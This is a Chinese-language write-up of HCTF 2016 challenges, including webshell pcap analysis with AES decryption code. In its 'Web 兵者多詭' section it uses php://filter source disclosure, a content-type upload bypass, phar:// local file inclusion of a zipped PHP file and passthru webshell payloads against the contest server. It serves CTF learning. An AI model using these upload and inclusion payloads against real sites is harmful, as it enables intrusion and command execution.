2016hctf writeup
MISC雜項簽到
http://139.224.54.27/webco1a/+_+.pcapng
用wireshark開啟流量包,追蹤TCP流,發現是一個webshell的流量,看到webshell控制端檢視了遠端伺服器上的兩個關鍵檔案:function.py和flag
cat function.py:
#!/usr/bin/env python
# coding:utf-8
__author__ = 'Aklis'
from Crypto import Random
fromCrypto.Cipher import AES
import sys
import base64
def decrypt(encrypted, passphrase):
IV = encrypted[:16]
aes = AES.new(passphrase, AES.MODE_CBC, IV)
returnaes.decrypt(encrypted[16:])
def encrypt(message, passphrase):
IV = message[:16]
length = 16
count = len(message)
padding = length - (count % length)
message = message + '\0' * padding
aes = AES.new(passphrase, AES.MODE_CBC, IV)
returnaes.encrypt(message)
IV = 'YUFHJKVWEASDGQDH'
message = IV + 'flag is hctf{xxxxxxxxxxxxxxx}'
printlen(message)
example = encrypt(message, 'Qq4wdrhhyEWe4qBF')
print example
example = decrypt(example, 'Qq4wdrhhyEWe4qBF')
print example
cat flag:
mbZoEMrhAO0WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAh0sZ9qjnziUKkV90XhAOkIs/OXoYVw5uQDjVvgNA==
flag明顯是個base64編碼後的字串,將其解碼後再用function.py和decrypt函式解密:
執行得到flag
Web2099年的flag
由ios99想到改user-agent,抓包改一下
WebRESTFUL
先用PUT方法傳個參
查了一下RESTful,發現是一種web軟體架構,是一種分層結構
http://www.ruanyifeng.com/blog/2011/09/restful
改個包,flag出來了
MISC gogogo
下載下來,發現是個.nes的紅白機檔案,用FcEuX開啟,看到了經典的魂鬥羅
的來修改一下有無限命和不壞金身,打穿就看到了:
Web 兵者多詭
http://pics.hctf.io/home.php?key=hduisa123
檔案上傳頁面猜測是上傳漏洞,頁面說明只能上傳png檔案
嘗試了幾次後發現驗證方式是對content-type驗證,為image/png即可,但是上傳後的檔案會被重新命名並加上.png字尾。
發現允許使用php偽協議:
http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=upload
http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=home
http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=function
http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=show
把原始碼扒下來,base64解碼,
home.php
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
$fp = empty($_GET['fp']) ? 'fail' : $_GET['fp'];
if(preg_match('/\.\./',$fp))
{
die('No No No!');
}
if(preg_match('/rm/i',$_SERVER["QUERY_STRING"]))
{
die();
}
?>
<!DOCTYPE html>
<html>
<head>
<title></title>
<metacharset="utf-8">
<linkhref="css/bootstrap.min.css" rel="stylesheet">
<linkhref="css/jumbotron-narrow.css" rel="stylesheet">
</head>
<body>
<divclass="container">
<divclass="header clearfix">
<nav>
<ulclass="navnav-pills pull-right">
<lirole="presentation" class="active"><ahref="home.php?key=hduisa123">Home</a></li>
</ul>
</nav>
<h3class="text-muted">pictures</h3>
</div>
<divclass="jumbotron">
<h1>PicturesStorage</h1>
<pclass="lead">在這裡上傳您的圖片,我們將為您儲存</p>
<formaction="?fp=upload" method="POST" id="form"enctype="multipart/form-data">
<inputtype="file" id="image" name="image"class="btnbtn-lgbtn-success" style="margin-left: auto;margin-right: auto;">
<br>
<inputtype="submit" id="submit" name="submit"class="btnbtn-lgbtn-success" role="button" value="上傳圖片">
</form>
</div>
</div>
</body>
</html>
<?php
if($fp !== 'fail')
{
if(!(include($fp.'.php')))
{
?>
<divclass="alert alert-danger" role="alert">沒有此頁面</div>
<?php
exit;
}
}
?>
upload.php
<?php
include 'function.php';
if(isset($_POST['submit']) &&!empty($_FILES['image']['tmp_name']))
{
$name =$_FILES['image']['tmp_name'];
$type =$_FILES['image']['type'];
$size =$_FILES['image']['size'];
if(!is_uploaded_file($name))
{
?>
<divclass="alert alert-danger" role="alert">圖片上傳失敗,請重新上傳</div>
<?php
exit;
}
if($type !== 'image/png')
{
?>
<divclass="alert alert-danger" role="alert">只能上傳PNG圖片</div>
<?php
exit;
}
if($size > 10240)
{
?>
<div class="alert alert-danger"role="alert">圖片大小超過10KB</div>
<?php
exit;
}
$imagekey =create_imagekey();
move_uploaded_file($name,"uploads/$imagekey.png");
echo"<script>location.href='?fp=show&imagekey=$imagekey'</script>";
}
?>
show.php
<?php
$imagekey = $_GET['imagekey'];
if(empty($imagekey))
{
echo"<script>location.href='home.php'</script>";
exit;
}
?>
<div class="alert alert-success"role="alert">
上傳成功,<ahref="uploads/<?php echo $imagekey; ?>.png"class="alert-link">點此檢視</a>
</div>
function.php
<?php
functioncreate_imagekey()
{
returnsha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() .mt_rand());
}
?>
發現home.php中存在本地檔案包含:if(!(include($fp.’.php’))),fp引數可控制,然後會在檔名後加一個.php進行檔案包含,因此我們可以上傳我們需要包含的檔案。但是直接包含肯定是不行的,需要構造檔名。
查詢PHP手冊發現PHP支援如下的Wrappers:
file:// — Accessing localfilesystem
http:// — AccessingHTTP(s) URLs
ftp:// — Accessing FTP(s) URLs
php:// — Accessing various I/O streams
zlib:// — Compression Streams
data:// — Data (RFC 2397)
glob:// — Find pathnames matching pattern
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — Process Interaction Streams
測試phar://可用,將php檔案打包在zip檔案中,再構造路徑訪問。
測試發現如果webshell中有提交引數的變數會被過濾,如$_POST,$_REQUEST等,而且eval函式被禁用了,因此使用passthru函式執行系統命令。
寫一個2.php檔案,打包在zip壓縮包中上傳,上傳時使用burpsuite的截斷功能修改content-type。
檢視當前目錄下檔案:<?phppassthru(‘ls–alh’); ?>
上傳後訪問檔名為24c38706822f22274de3d8faabb5b9601d922d85.png,訪問
http://pics.hctf.io/home.php?fp=phar://uploads/24c38706822f22274de3d8faabb5b9601d922d85.png/2
沒什麼特別的
檢視工作目錄<?phppassthru(‘pwd’);?>
檢視上層目錄
<?php echo passthru('ls /var/www');?>
有個php檔案,檢視一下
<?php echo passthru('cat /var/www/Th1s_1s_F1a9.php');?>
檢視頁面原始碼
相關文章
- SSCTF Writeup
- BCTF Writeup
- JCTF Writeup
- HCTF writeup(web)Web
- wargame narnia writeupGAM
- 太湖杯writeup
- 0ctf writeup
- 360hackgame writeupGAM
- Wargama-leviathan WriteupGAM
- CoolShell解密遊戲的WriteUp解密遊戲
- guestbook(hackme web部分writeup)Web
- 三道MISC的writeup
- xss挑戰賽writeup
- web_ping的writeupWeb
- CTFSHOW-WEB入門 writeupWeb
- Alictf2014 WriteupTF2
- cmseasy&內網滲透 Writeup內網
- Hack.lu 2014 Writeup
- 31C3 CTF web關writeupWeb
- CTF-safer-than-rot13-writeup
- Flare-on5 Challenge6 magic -Writeup
- CTF——WriteUp(2020招新)
- Misc_BUUCTF_WriteUp | 面具下的flag
- Web_Bugku_WriteUp | 變數1Web變數
- 無聲杯 xss 挑戰賽 writeup
- 技術分享 | "錦行杯"比賽 Writeup
- 網鼎杯-writeup-第二場-babyRSA
- xctf攻防世界—Web新手練習區 writeupWeb
- 2020湖湘杯部分writeup
- 【Writeup】Pwnable.kr 0x02 collision
- XSS挑戰第一期Writeup
- XSS挑戰第二期 Writeup
- 第五季極客大挑戰writeup
- 【阿菜Writeup】Security Innovation Smart Contract CTF
- 第一屆BMZCTF公開賽-WEB-WriteupWeb
- 阿里雲CTF逆向題“尤拉”詳細Writeup阿里
- 32C3 CTF 兩個Web題目的WriteupWeb
- 幾期『三個白帽』小競賽的writeup